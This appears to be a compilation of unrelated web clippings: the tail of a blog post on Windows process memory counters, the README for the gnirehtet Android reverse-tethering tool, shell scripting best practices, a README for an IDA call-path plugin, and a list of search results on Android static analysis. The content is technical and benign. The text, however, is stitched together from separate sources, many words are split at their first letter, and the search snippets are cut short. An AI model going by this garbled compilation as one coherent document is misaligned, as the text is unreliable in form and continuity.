**P rivate physical bytes**. This refers to the physical pages that are mapped
to private committed pages in our process, and is often called the process’ _p
rivate working set_. This information is available in VMMap under Total >
Private WS. It is also available in Task Manager as Memory \(private working
set\).

**S hareable or shared physical bytes**. Similarly, these are the physical
pages that are mapped to shareable committed pages in our process. We
discussed these metrics before when talking about shareable/shared memory \(in
VMMap, these are under Total > Shared/Shareable WS\).

**T otal physical bytes**. Simply the sum of the previous two metrics. You
might be tempted to say that this is the amount of physical memory consumed by
our process, which would be accurate if it wasn’t for sharing. This
information is available in VMMap under Total > Total WS, as the Process >
Working Set performance counter, and in Task Manager as Working set
\(memory\).

**C ommitted bytes not mapped yet to any backing storage \(RAM or page
file\)**. Like I said before, Windows doesn’t allocate any physical memory
when you commit a page of virtual memory. Only when the virtual page is first
accessed, Windows handles the hardware exception by lazily allocating a page
of physical memory. So, you could have committed pages in your process that
aren’t currently backed by neither RAM nor page file — simply because they
were never accessed until now. Unfortunately, there is no easy way that I know
of to get this information.

You can experiment with the on-demand physical memory allocation by running
**M emory.exe commit 1000**. Even though the system-wide commit size was
charged 1000MB, you won’t see any change in physical memory usage \(e.g. in
Task Manager\). But now try **M emory.exe commit\_touch 1000**, which commits
memory and makes sure to touch every single page. This time, both the commit
size and physical memory usage should go up by 1000MB.

**C ommitted bytes not currently resident**. These are pages of committed
memory that was paged out to disk. If you’re willing to ignore committed pages
that weren’t accessed yet, then this metric can be calculated as the
difference between VMMap’s Total > Committed and Total > Total WS values \(or
as the difference between the Process > Page File Bytes and Process > Working
Set Bytes performance counters — recall that Process > Page File Bytes is
really the commit size of the process\).

### Kernel Memory

Finally, your process can indirectly affect the system’s memory usage, too.
Kernel data structures like files, sockets, and mutexes are created and
destroyed when your process requests it. Page tables that map virtual to
physical addresses are allocated and populated when you commit and access
memory pages.

Although it is rarely the case that your process would make a significant dent
in the kernel’s memory usage, it’s important to monitor the following metrics:

**P ool bytes**. This refers to kernel memory directly attributable to your
process, such as data structures for files or synchronization objects. Pool
memory is further subdivided to _p aged pool_ and _n on-paged pool_. The
system-wide pool utilization values are available in Task Manager \(under the
Memory tab\), or as the Memory > Pool Paged Bytes and Memory > Pool Nonpaged
Bytes performance counters.

For some kernel objects, the pool allocation is also charged to the owning
process. This is the case with I/O completion packets queued to an I/O
completion port, which is what you can experiment with by running **M
emory.exe nppool 10000** and inspecting the value of the Process > Pool
Nonpaged Bytes performance counter. \(To quickly inspect performance counters,
run **t ypeperf** from a command prompt window. For example: **t ypeperf
“Process\(Memory\)\Pool Nonpaged Bytes”** will show you the counter’s value
every second.\)

**P age table bytes**. Mapping virtual addresses to physical addresses
requires book-keeping, provided by data structures called _p age tables_.
These data structures are allocated in kernel memory. At a high level, mapping
a small page of virtual memory \(4KB on both x86 and x86\_64\) requires 4 or 8
bytes of page table space, plus some additional small overhead. Because
Windows is lazy, it doesn’t construct page tables in advance when you reserve
or even commit memory. Only when you actively access a page, Windows will fill
the page table entry. Page table usage is available in VMMap as Page Table >
Size. It would typically be a fairly small value, even if you allocate a lot
of memory.

Experiment by running **M emory.exe commit\_touch 2000** \(committing and
touching almost 2GB of memory\). On my Windows 10 x64 system, the resulting
increase in page table bytes was approximately 4MB.

_N OTE: Because any virtual memory allocation has the potential of requiring
page table space eventually, Windows used to charge reserved memory to the
system commit limit, because it anticipated these reserved pages to eventually
become committed and require actual page table space. In Windows 8.1 x64 and
Windows 10 x64, a security mechanism called CFG \(Control Flow Guard\)
requires a 2TB chunk of reserved memory for each process. Charging commit for
that many pages would be impractical. Therefore, on newer versions of Windows,
reserving memory does not charge commit. You can verify this by running **M
emory.exe reserve 1000000** \(to reserve almost 1TB of memory\) and note that
the system-wide commit limit \(**t ypeperf “Memory\Committed Bytes”**\)
doesn’t go up considerably._

### Summary

Hopefully, this post explained the key memory monitoring metrics for Windows
processes. There’s a lot more to say about the internals of Windows memory
management, and I’m happy to refer you to Windows Internals, 6th Edition for
more details. You might also find the Testlimit tool useful to check just how
far the memory manager is willing to stretch for you.

* * *
_F ollow me on Twitter @goldshtn for shorter bites, links, and comments._

Add comment

facebook linkedin twitter email

### Tags

.NET4.5 .NETInternals 64-bit Android Architecture Azure BUILD C\# C++ COM
Compiler Debugging DesignByContract DEV DevAcademy2 DevDays Drivers Interop
iOS Metro MobileServices Node ParallelFX PDC Performance PerformanceBook
Profiler RandomThoughts SDP Security Server2008 Server2008R2 Silverlight
Teaching TechEd08 Tools Transactions UnitTesting UserGroup Vista
VisualStudio11 VS2010 WCF WF Win32 Windows7 Windows8 WindowsInternals
WindowsPhone8 Xamarin

### Recent Posts

  * Windows Process Memory Usage Demystified
  * Wrapping Up DotNext 2015
  * Live360\! and BuildStuff Talks: SIMD, Visual Studio Diagnostic Hub, and Swift
  * Wrapping Up Software Architect 2015
  * Large Win32 Heap Allocations Go Directly to VirtualAlloc

### Recent Comments

  * Sasha Goldshtein on Large Win32 Heap Allocations Go Directly to VirtualAlloc
  * David Bar on Large Win32 Heap Allocations Go Directly to VirtualAlloc
  * New features coming to minidumper | Low Level Design on Creating Smaller, But Still Usable, Dumps of .NET Applications
  * C++11 – std::tuple | C++ Turkey User Group on Implementing std::tuple From The Ground Up – Part 1: Introduction and Basic Structure
  * 08-10-2015 - links - Magnus Udbjørg on More on MiniDumper: Getting the Right Memory Pages for .NET Analysis

### Archives

  * January 2016 \(2\)
  * December 2015 \(1\)
  * October 2015 \(3\)
  * September 2015 \(1\)
  * August 2015 \(4\)
  * Full Arcive

###  Additional Posts

January 5, 2016

#### Windows Process Memory Usage Demystified

“How much memory is your process using?” — I bet you were asked that question,
or asked it yourself, more times than you can remember. But what do you really
mean by memory? I never thought it would be hard to find a definitive resource
for what the various memory usage counters mean for a \[…\]

January 2, 2016

#### Wrapping Up DotNext 2015

A few weeks ago, I had the honor of being invited to speak at DotNext 2015,
Russia’s only .NET conference and one of the leading developer conferences in
the country. As some of my readers probably know already, I was born in the
USSR, so I speak Russian with a heavy Israeli accent but can \[…\]

December 9, 2015

#### Live360\! and BuildStuff Talks: SIMD, Visual Studio Diagnostic Hub, and
Swift

I’m writing this on the plane back home from a week-long trip to Orlando,
Vilnius, and Kiev, where I had the chance to speak at Live360\! and
BuildStuff; I’ve just counted and it’s my tenth flight in three weeks, which
is quite insane. But this is my second-to-last trip for 2015 — the last one
\[…\]

### משאבים לקהילת המפתחים

  * בלוג MSDN
  * ניוזלטר MSDN
  * בפייסבוק MSDN
  * יוטיוב MSDN
  * האקדמיה הוירטואלית
  * התנסות חינם
  * אתר פיתוח אפליקציות

### משאבים לקהילת IT

  * בלוג TechNet 
  * ניוזלטר TechNet 
  * בפייסבוק TechNet
  * יוטיוב TechNet
  * האקדמיה הוירטואלית
  * התנסות חינם

### משאבים כללים

  * אתר מיקרוסופט ישראל
  * מיקרוסופט ישראל בפייסבוק
  * אתר הפורומים
  * קבוצות משתמשים
  * הדרכות והסמכות מיקרוסופט
  * אירועים 

  * אודות הפרסומות שלנו
  * סימנים מסחריים
  * תנאי השימוש
  * הצהרת פרטיות

<img src='img/microsoft-logo-heb.png' width='78' height='14' alt='Microsoft'
/> © 2014 Microsoft

<img src='img/Temp2_9914.jpg' width='100' height='100' />

  

# Genymobile/gnirehtet

**Created:**| _5/25/2018 10:42:30 AM_  
---|---  
**Updated:**| _5/25/2018 10:42:30 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# Gnirehtet

This project provides **reverse tethering** over `adb` for Android: it allows
devices to use the internet connection of the computer they are plugged on. It
does not require any _root_ access \(neither on the device nor on the
computer\). It works on _GNU/Linux_ , _Windows_ and _Mac OS_.

Currently, it relays TCP and UDP over IPv4 traffic, but it does not support
IPv6 \(yet?\).

## Flavors

Two implementations of _Gnirehtet_ are available:

  * one in **Java** ;
  * one in **Rust**.

### Which one to choose?

Use the **Rust** implementation. The native binary consumes less CPU and
memory, and does not require a _Java_ runtime environment.

The relay server of _Gnirehtet_ was initially only implemented in Java. As a
benefit, the same "binary" runs on every platform having _Java 8_ runtime
installed. It is still maintained to provide a working alternative in case of
problems with the Rust version.

## Requirements

The Android application requires at least API 21 \(Android 5.0\).

For the _Java_ version only, _Java 8_ \(JRE\) is required on your computer. On
Debian-based distros, install the package `openjdk-8-jre`.

### adb

You need a recent version of adb \(where `adb reverse` is implemented, it
works with 1.0.36\).

It is available in the Android SDK platform tools.

On Debian-based distros, you can alternatively install the package `android-
tools-adb`.

On Windows, if you need `adb` only for this application, just download the
platform-tools and extract the following files to the _gnirehtet_ directory:

  * `adb.exe`
  * `AdbWinApi.dll`
  * `AdbWinUsbApi.dll`

Make sure you enabled adb debugging on your device\(s\).

## Download

Download the latest release in the flavor you want.

### Rust

  * **Linux:** `gnirehtet-rust-linux64-v2.2.1.zip`  
\(SHA-256:
_7ecb04bc7e2a223773dc9be66efafd39bb6cfb16b5cc4ccbe252f997c003bf6c_\)

  * **Windows:** `gnirehtet-rust-win64-v2.2.1.zip`  
\(SHA-256:
_1e62a5a5ade4a5f4d0b1d4a6699feedbc727eebd808cfcc152662313a1003400_\)

  * **MacOS:** `gnirehtet-rust-macos64-v2.2.1.zip`  
\(SHA-256:
_902103e6497f995e1e9b92421be212559950cca4a8b557e1f0403769aee06fc8_\)

Then extract it.

The Linux and MacOS archives contain:

  * `gnirehtet.apk`
  * `gnirehtet`

The Windows archive contains:

  * `gnirehtet.apk`
  * `gnirehtet.exe`
  * `gnirehtet-run.cmd`

### Java

  * **All platforms:** `gnirehtet-java-v2.2.1.zip`  
\(SHA-256:
_feb7fae78d1247247ae4ec89a5a01895c7fc4efa0965bdbfeb46396577f150db_\)

Then extract it. The archive contains:

  * `gnirehtet.apk`
  * `gnirehtet.jar`
  * `gnirehtet`
  * `gnirehtet.cmd`
  * `gnirehtet-run.cmd`

## Run \(simple\)

_Note: On Windows, replace`./gnirehtet` by `gnirehtet` in the following
commands._

The application has no UI, and is intended to be controlled from the computer
only.

If you want to activate reverse tethering for exactly one device, just
execute:

[code]

    ./gnirehtet run
    
[/code]

Reverse tethering remains active until you press _Ctrl+C_.

On Windows, for convenience, you can double-click on `gnirehtet-run.cmd`
instead \(it just executes `gnirehtet run`, without requiring to open a
terminal\).

The very first start should open a popup to request permission:

<img src='img/Temp2_3461.jpg' width='400' height='367' alt='request' />

A "key" logo appears in the status bar whenever _Gnirehtet_ is active:

<img src='img/Temp2_3462.jpg' width='230' height='49' alt='key' />

Alternatively, you can enable reverse tethering for all connected devices
\(present and future\) by calling:

[code]

    ./gnirehtet autorun
    
[/code]

## Run

You can execute the actions separately \(it may be useful if you want to
reverse tether several devices simultaneously\).

Start the relay server and keep it open:

[code]

    ./gnirehtet relay
    
[/code]

Install the `apk` on your Android device:

[code]

    ./gnirehtet install [serial]
    
[/code]

In another terminal, for each client, execute:

[code]

    ./gnirehtet start [serial]
    
[/code]

To stop a client:

[code]

    ./gnirehtet stop [serial]
    
[/code]

To reset the tunnel \(useful to get the connection back when a device is
unplugged and plugged back while gnirehtet is active\):

[code]

    ./gnirehtet tunnel [serial]
    
[/code]

The _serial_ parameter is required only if `adb devices` outputs more than one
device.

For advanced options, call `./gnirehtet` without arguments to get more
details.

## Run manually

The `gnirehtet` program exposes a simple command-line interface that executes
lower-level commands. You can call them manually instead.

To start the relay server:

[code]

    java -jar gnirehtet.jar relay
    
[/code]

To install the apk:

[code]

    adb install -r gnirehtet.apk
    
[/code]

To start a client:

[code]

    adb reverse localabstract:gnirehtet tcp:31416
    adb shell am broadcast -a com.genymobile.gnirehtet.START \
        -n com.genymobile.gnirehtet/.GnirehtetControlReceiver
    
[/code]

To stop a client:

[code]

    adb shell am broadcast -a com.genymobile.gnirehtet.STOP \
        -n com.genymobile.gnirehtet/.GnirehtetControlReceiver
    
[/code]

## Why _gnirehtet_?

[code]

    rev <<< tethering
    
[/code]

\(in _Bash_\)

## Developers

Read the developers page.

## Licence

[code]

    Copyright (C) 2017 Genymobile
    
    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at
    
        http://www.apache.org/licenses/LICENSE-2.0
    
    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
    
[/code]

## Articles

  * Introducing “gnirehtet”, a reverse tethering tool for Android \(French version\)
  * Gnirehtet 2: our reverse tethering tool for Android now available in Rust
  * Gnirehtet rewritten in Rust \(French version\)

  

# Shell Script Best Practices — The Sharat's

**Created:**| _10/29/2022 6:36:27 AM_  
---|---  
**Updated:**| _10/29/2022 6:36:27 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Shell Script Best Practices

27 Oct 2022

This article is about a few quick thumb rules I use when writing shell scripts
that I’ve come to appreciate over the years. Very opinionated.

## Things

  1. Use `bash`. Using `zsh` or `fish` or any other, will make it hard for others to understand / collaborate. Among all shells, `bash` strikes a good balance between portability and DX.
  2. Just make the first line be `#!/usr/bin/env bash`, even if you don’t give executable permission to the script file.
  3. Use the `.sh` \(or `.bash`\) extension for your file. It may be fancy to not have an extension for your script, but unless your case explicitly depends on it, you’re probably just trying to do clever stuff. Clever stuff are hard to understand.
  4. Use `set -o errexit` at the start of your script.
     * So that when a command fails, `bash` exits instead of continuing with the rest of the script.
  5. Prefer to use `set -o nounset`. You _may_ have a good excuse to not do this, but, my opinion, it’s best to always set it.
     * This will make the script fail, when accessing an unset variable. Saves from horrible unintended consequences, with typos in variable names.
     * When you want to access a variable that may or may not have been set, use `"${VARNAME-}"` instead of `"$VARNAME"`, and you’re good.
  6. Use `set -o pipefail`. Again, you may have good reasons to not do this, but I’d recommend to always set it.
     * This will ensure that a pipeline command is treated as failed, even if one command in the pipeline fails.
  7. Use `set -o xtrace`, with a check on `$TRACE` env variable.
     * For copy-paste: `if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi`.
     * This helps in debugging your scripts, a lot. Like, really lot.
     * People can now _enable_ debug mode, by running your script as `TRACE=1 ./script.sh` instead of `./script.sh`.
  8. Use `[[ ]]` for conditions in `if` / `while` statements, instead of `[ ]` or `test`.
     * `[[ ]]` is a bash ~~builtin~~ keyword, and is more powerful than `[ ]` or `test`.
  9. Always quote variable accesses with double-quotes.
     * One place where it’s _okay_ not to is on the _left-hand-side_ of an `[[ ]]` condition. But even there I’d recommend quoting.
     * When you need the unquoted behaviour, using `bash` arrays will likely serve you much better.
  10. Use `local` variables in functions.
  11. Accept multiple ways that users can ask for help and respond in kind.
     * Check if the first arg is `-h` or `--help` or `help` or just `h` or even `-help`, and in all these cases, print help text and exit.
     * Please. For the sake of your future-self.
  12. When printing error messages, please redirect to stderr.
     * Use `echo 'Something unexpected happened' >&2` for this.
  13. Use long options, where possible \(like `--silent` instead of `-s`\). These serve to document your commands explicitly.
     * Note though, that commands shipped on some systems like macOS don’t always have long options.
  14. If appropriate, change to the script’s directory close to the start of the script.
     * And it’s usually always appropriate.
     * Use `cd "$(dirname "$0")"`, which works in _most_ cases.
  15. Use `shellcheck`. Heed its warnings.

## Template

[code]

    #!/usr/bin/env bash
    
    set -o errexit
    set -o nounset
    set -o pipefail
    if [[ "${TRACE-0}" == "1" ]]; then
        set -o xtrace
    fi
    
    if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
        echo 'Usage: ./script.sh arg-one arg-two
    
    This is an awesome bash script to make your life better.
    
    '
        exit
    fi
    
    cd "$(dirname "$0")"
    
    main() {
        echo do awesome stuff
    }
    
    main "$@"
    
[/code]

## Conclusion

I try to follow these rules in my scripts, and they’re known to have made at
least my own life better. I’m still not consistent though, unfortunately, in
following my own rules. So perhaps writing them down this way will help me
improve there as well.

Do you have anything you think I should add to this? Please share in the
comments\!

Edit 1: Included fixes from HN comments at
https://news.ycombinator.com/item?id=33355407 and
https://news.ycombinator.com/item?id=33355077.

Edit 2: Fix from https://news.ycombinator.com/item?id=33354759.

**Discuss on** : Hacker News.

* * *
## Comments

# devttys0/ida

**Created:**| _11/23/2017 9:31:30 AM_  
---|---  
**Updated:**| _11/23/2017 9:31:30 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# alleycat.py

## Features

  * Finds paths to a given code block inside a function
  * Finds paths between two or more functions
  * Generates interactive call graphs
  * Fully scriptable

## Usage

In IDA's UI, navigate to `View->Graphs->Find paths from the current function
to...`; this will search for call paths from the function your cursor is
currently in to one or more destination functions.

Select a function from the function chooser dialog and click `OK`.

You will be prompted again to choose another function; you may continue this
process to select as many destination functions as you'd like. Once you are
finished, click `Cancel` or press the `Esc` button.

The call graph is interactive; double-clicking on a graph node will jump to
that location in IDA's disassembly window. You may also dynamically change
which nodes are displayed at any time using the following hotkeys:

  * To only show paths that traverse a particular node: right-click the graph, select `Include node`, and then click on the node.
  * To exclude all paths that traverse a particular node: right-click the graph, select `Exclude node` and then click on the node.
  * To undo any of the above actions: right-click the graph, and select `Undo`.
  * To redo an undo: right-click the graph, and select `Redo`.
  * To reset the graph: right-click the graph, and select `Reset graph`.

For practical purposes, there is a maximum depth limit imposed on path
searches. You can increase or decrease this limit in the IDAPython terminal:

[code]

    Python> print ALLEYCAT_LIMIT
    10000
    Python> ALLEYCAT_LIMIT = 2500
    
[/code]

## Scripting

To generate a list of unique paths between two functions, use the
`AlleyCatFunctionPaths` class:

[code]

    Python> print AlleyCatFunctionPaths(ScreenEA(), idc.LocByName('strcpy')).paths
    
[/code]

To generate a list of unique paths from the between two code blocks inside a
function, use the `AlleyCatCodePaths` class:

[code]

    Python> print AlleyCatCodePaths(idaapi.get_func(idc.ScreenEA()).startEA, idc.ScreenEA())
    
[/code]

To create an interactive graph, use the `AlleyCatGraph` class:

[code]

    Python> paths = AlleyCatFunctionPaths(ScreenEA(), idc.LocByName('strcpy')).paths
    Python> AlleyCatGraph(paths)
    
[/code]

## Installation

Just copy alleycat.py into your IDA `plugins` directory.

  

# Static Analysis of Android Applications « Life in Linux Kernel

**Created:**| _10/30/2012 10:36:27 AM_  
---|---  
**Updated:**| _10/30/2012 10:36:27 AM_  
**Author:**| __  
**Tags:**| _analysis static android_  
  

## Static Analysis of Android Applications

Posted September 1, 2011 by Peter Teoh in android. 2 Comments

  1. \[PDF\]  

### Language-Based Security on _Android_

www.cs.umd.edu/~avik/papers/lbsa.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by A Chaudhuri – 2009 – Cited by 17 – Related articles  
ing existing _static analysis_ tools \[10, 12, 7\]. As envisioned above,
certified installation of _Android applications_ based on such an
implementation should help both **…**

  2. \[PDF\]  

### Using _static analysis_ on _Android applications_ to identify private
**…**

people.cis.ksu.edu/~kuiluo/RPE1.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
16 Feb 2011 – Using _static analysis_ on _Android applications_ to identify
private information leaks. 1st RPE presentation by Kui Luo computing and
information **…**

  3. ### _Static Analysis_ Tool for _Android_ Released | Dr Dobb’s Journal
drdobbs.com/mobility/212001732 – Cached  
11 Nov 2008 – Klocwork Insight Java _static_ source code _analysis_ tool have
been extended to support the _Android_ platform, Google’s _software_ stack for
mobile **…**

  4. ### Use of _Static Analysis_ on _Android_ Code? – _Android_ Security **…**
groups.google.com/group/**android** -security…/0f5d616784d879f0 – Cached  
5 posts – 4 authors – Last post: 8 Sep 2010  
I was wondering if Google runs automated _static analysis_ tools and or
vulnerability **….** that is suitable for scanning _Android app_ code. > On
Wed **…**

  5. ### Making Your _Android App_ Better With _Static Analysis_ **…**
www.projectjourneyman.com/making-**android** -**app** -better… – Cached

| 24 Aug 2011 – Any way to get free testing and bugfixing for your _Android
app_ is a good thing. Here are three tools that can help make your _Android
app_ be as **…**  
---|---  
  6. ### ProjectJourneyman on _Android_ Income
www.projectjourneyman.com/ – Cached  
Find the best ways to earn money from your _Android apps_ and games with
ProjectJourneyman’s research **…** Making Your _Android App_ Better With
_Static Analysis_ **…**

  7. ### \[Owasp-mobile-security-project\] _static analysis of Android_ **…**
https://lists.owasp.org/pipermail/owasp-mobile…/000136.html – Cached  
17 Jun 2011 – Previous message: \[Owasp-mobile-security-project\] _static
analysis of Android applications_ for security vulnerabilities **…**

  8. ### New Free Tools Simplify _Analysis Of Android_ Malware – Dark Reading
www.darkreading.com/…/new-free-tools-simplify-**analysis-of-android** -…  
14 hours ago – The IDA Pro product recently added a _static analysis_
component for the **…** only free and open-source tool that does this for
_Android applications_. **…**

  9. ### Midterm Report: Project.6 _Static Analysis of Android_ Malware | The **…**
www.honeynet.org/node/735 – Cached  
8 Jul 2011 – What’s more, Qt supports cross platform _applications_. Figure 1:
The main _Android Static Analysis_ UI window. The above Figure 1 is the main
**…**

  10. ### Project 6 – _Static Analysis of Android_ Malware | The Honeynet Project
www.honeynet.org/gsoc/slot6 – Cached  
In this project, we will provide a powerful tool for analyzers to _analyze_
**…**

  11. ### RoT-1 Chapter Status Report – 2011 | The Honeynet Project
www.honeynet.org/node/718 – Cached  
3 Jul 2011 – The goal of this framework was to provide large-scale _static
analysis_ for _Android applications_ , to provide high level analytics,
statistics and **…**

  12. ### Google Summer of Code 2011 Project Ideas | The Honeynet Project
www.honeynet.org/gsoc/ideas – Cached  
Jump to Project 7 – _Static Analysis of Android_ Malware‎: **…** to aide
_static analysis of Android_ malware **…** the analyst a deeper insight into
the _application_ , **…**

  13. ### Using _Static Analysis_ to Review File Access in _Android Apps_ **…**
denimgroup.posterous.com/using-**static** -**analysis** -to-revie… – Cached

| 20 Apr 2011 – Because _applications_ often misuse these platform
protections, assessing the security of an _Android application_ should include
checks to verify **…**  
---|---  
  14. \[PDF\]  

### _Static Analysis of Android Programs_

www.juliasoft.com/public/Biblioteca/cade11.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by É Payet – Related articles  
A static analyzer for Android programs must consider such features, for
correctness **…** _Static analysis of Android applications_ is important
because quality and re- **…**

  15. ### Julia Srl – _software_ verification made easy
www.juliasoft.com/ – Cached  
A _Static Analyzer_ for Java & _Android_. Try our Julia analyzer and find bugs
in Java and _Android programs_ well before they are run. Our tool is not just
another **…**

  16. \[PDF\]  

### _Software_ Verification for Java and _Android_

www.juliasoft.com/public/Biblioteca/julia-en.pdf  
File Format: PDF/Adobe Acrobat – View as HTML  
in two open-source _Android applications_. We have ana- lyzed the same
_programs_ with FINDBUGS, the most down- loaded _static analysis_ tool of the
world, used **…**

  17. ### _Static Analysis_ | >kloctalk
www.klocwork.com/blog/tag/**static** -**analysis** / – United States – Cached  
_Static analysis_ , source code analysis, _software_ validation blog **…** The
Evolution of Static Code Analysis – Part 3: The Present Day. Posted by Todd
Landry June **…**

  18. ### _Android_ Development | Klocwork
www.klocwork.com/solutions/**android** …/index.php – United States – Cached  
_Android Application_ Development. Klocwork has built a robust Java _static_
**…**

  19. ### Code _Analysis_ for Mobile, _Android Software_ | Klocwork Solo
www.klocwork.com/products/solo/**android** …/index.php – United States –
Cached  
Klocwork Solo is a stand-alone source code analysis tool for individual Java
developers focused on mobile and _Android software_ **…** Product Features –
_Android Application_ Development **…** WHITE PAPER: _Static Analysis_ : When,
Why and How **…**

  20. ### Klocwork Solo for Java | Klocwork
www.klocwork.com/products/solo/index.php – United States – Cached  
Klocwork Solo is a stand-alone source code _analysis_ tool for individual Java
**…** enterprise-ready, _static_ source code _analysis_ technology and
packages it for the **…** developers focused on _Android app_ development or
web _app_ development can **…**

  21. ### _android_ – Are there any multithreading _static analysis_ eclipse plugins **…**
stackoverflow.com/…/are-there-any-multithreading-**static** -**analysis** -e…
– Cached  
2 answers – 21 Jan  
Are there any multithreading _static analysis_ eclipse plugins? **…** multi-
threaded _app_ is developed in..as some plugins target specific languages
**…**

  22. ### _static_ – code _analysis_ tools for _Android_ – Stack Overflow
stackoverflow.com/questions/…/code-**analysis** -tools-for-**android** –
Cached  
2 answers – 30 Jun  
Is there any _static_ code _analysis_ tools for _android_ that would pick up
simple **…** like resharper and support developing _Android applications_.
**…**

  23. ### _Static Analysis_ for Java: Java _static analysis_ for security, mobile **…**
www.parasoft.com/jsp/capabilities/**static** \_**analysis** \_java.jsp –
Cached  
Preconfigured for _application_ security \(OWASP, PCI, CWE/SANS\),
mobile/_Android_ **…** Static code analysis, data flow _static analysis_ ,
code metrics analysis **…** Targets Google _Android_ , Spring, Hibernate,
Eclipse plug-ins, TDD, JSF, Struts, JDBC, **…**

  24. ### Java testing tools: _Static_ code _analysis_ , code review, unit testing **…**
www.parasoft.com/jtest – Cached  
A complete Java developer’s quality suite for _static_ code _analysis_ \(for
**…**

Show more results from parasoft.com

  25. \[PDF\]  

### _AndroidLeaks_ : Detecting Privacy Leaks In _Android Applications_

www.cs.ucdavis.edu/research/tech-reports/2011/CSE-2011-10.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by CGJCJ Erickson – 2011  
9 Aug 2011 – To combat this problem, we present. _AndroidLeaks_ , a _static
analysis_ framework for finding leaks of personal information in _Android
applications_. **…**

  26. \[PDF\]  

### TaintDroid: An Information-Flow Tracking System for Realtime **…**

**appanalysis**.org/tdroid10.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by W Enck – Cited by 58 – Related articles  
30 popular third-party _Android applications_ , we found. 68 instances of
**….** _static_ code _analysis_ \[14, 46\] as we discuss in Section 8. The
rest of this paper is **…**

  27. ### Building _Android apps_ with Maven – Devoxx 2011 – Devoxx
www.devoxx.com/display/…/Building+**Android** +**apps** +with+Maven – Cached  
Building _Android apps_ with Maven Abstract _Android_ has got its own
“official” **…** _software_ factory practices, such as Continuous Integration,
_static analysis_ , test **…**

  28. \[PDF\]  

### Using _static analysis_ on _Android applications_ to identify private
**…**

people.cis.ksu.edu/~kuiluo/RPE2.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
5 Apr 2011 – Using _static analysis_ on _Android applications_ to identify
private information leaks progress report. 2nd RPE presentation by Kui Luo
computing **…**

  29. ### Secure Programming With _Static Analysis_ – _Android_ Market
https://market.**android**.com/details?id=book-GL8AeTCu1WAC – Cached  
The First Expert Guide to _Static Analysis_ for _Software_ Security\! **…**
January 2007; Publisher: Pearson Education; Pages: 439; Requires _Android_ :
2.1 and up **…**

  30. ### _Static Analysis_ – _Android_ Market
https://market.**android**.com/details?id=book-om\_CCSJzyT4C – Cached  
_Android_ Market · _Android Apps_ **…** $50.36. _Static Analysis_ : 12Th **…**

Show more results from android.com

  31. ### _Static Analysis_ For Improved _Application_ Performance And Quality **…**
**android** open.com/**android** 2011/public/schedule/detail/21058 – Cached  
Tue, Oct 11, 2011 – Grand Ballroom BC

This session will show the types of problems that compilers, debuggers, and
test suites can’t solve. Items that often only show up in real-world
situations for **…**

  32. ### Julia | CrunchBase Profile
www.crunchbase.com › Companies – Cached  
Julia is a spin-off company of the University of Verona, Italy, whose goal is
to to produce _software_ tools for _static analysis_ of Java and _Android
programs_. Its main **…**

  33. ### _Analysis of Android applications_ with Julia
julia.scienze.univr.it/runs/**android** /results.html – Cached  
_Analysis of Android applications_ with Julia version \(August 11, 2011\)
**…** time, eq, cast,_static_ , uncalled, others, time, warnings, precision,
time, warnings, precision **…**

  34. ### Mining Interactions of _Android Applications_ – Bibsonomy
www.bibsonomy.org/bibtex/…/ebie – Cached  
%0 Report %1 dienst.ea:2011:_android_ %A Steffen Dienst %A Thorsten Berger %D
2011 %K %T Mining Interactions of _Android Applications_ – _Static Analysis_
of **…**

  35. ### Mining Interactions of _Android Applications_ – Bibsonomy
www.bibsonomy.org/bibtex/…/berger – Cached  
%0 Report %1 dienst.ea:2011:_android_ %A Steffen Dienst %A Thorsten Berger
**…**

  36. ### BibSonomy :: publication :: Mining Interactions of _Android_ **…**
www.bibsonomy.org/bibtex/1150bfee5311993ed183ae63986fdd6e2 – Cached  
7 Jun 2011 – Mining Interactions of _Android Applications_ – _Static Analysis_
**…**

Show more results from bibsonomy.org

  37. ### Denim Group, Ltd. Blog: _Static Analysis_
blog.denimgroup.com/denim\_group/**static** \_**analysis** / – Cached  
20 Apr 2011 – In this blog post we have walked through one way of using
_static analysis_ to look at how _Android apps_ are accessing files. This
could also be **…**

  38. \[PDF\]  

### _Static Analysis_ of Executables for Collaborative Malware Detection **…**

www.dai-labor.de/fileadmin/files/publications/**android**.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by AD Schmidt – Cited by 7 – Related articles  
_applications_ , extended malware detection mechanisms are neces- sary
complying with the **…** _static analysis_ on the executables to extract their
function calls in. _Android_ **…** mechanisms for detecting malware presence
on _Android_ de- vices. **…**

  39. \[PDF\]  

### An _Android Application_ Sandbox System for Suspicious _Software_ **…**

www.dai-labor.de/fileadmin/Files/…/Thomas\_AAS\_Malware2010.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by T Bläsing – Cited by 3 – Related articles  
dynamic analysis on _Android programs_ to automatically de- tect suspicious
**…**

  40. ### An _Android Application_ Sandbox System for Suspicious **…** – DAI-Labor
www.dai-labor.de/publikationen/541 – Cached  
In this paper, we propose an _Android Application_ Sandbox \(AASandbox\) which
**…**

Show more results from dai-labor.de

  41. ### Dasient to Release New Research on Emerging Mobile Threats in **…**
www.prnewswire.com/…/dasient-to-release-new-research-on-emergi… – Cached  
21 Jul 2011 – This is the largest study of _Android applications_ to-date to
use behavioral analysis – in addition to normal _static analysis_. In
behavioral analysis **…**

  42. \[PDF\]  

### _Android_ Permissions Demystified

www.cs.berkeley.edu/~afelt/**android** \_permissions.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by AP Felt – Cited by 2 – Related articles  
in compiled _Android applications_. Stowaway is composed of two parts: a
_static analysis_ tool that determines what. API calls an _application_ makes,
and a **…**

  43. ### _Android_ Permissions Demystified
www.**android** -permissions.org/ – Cached  
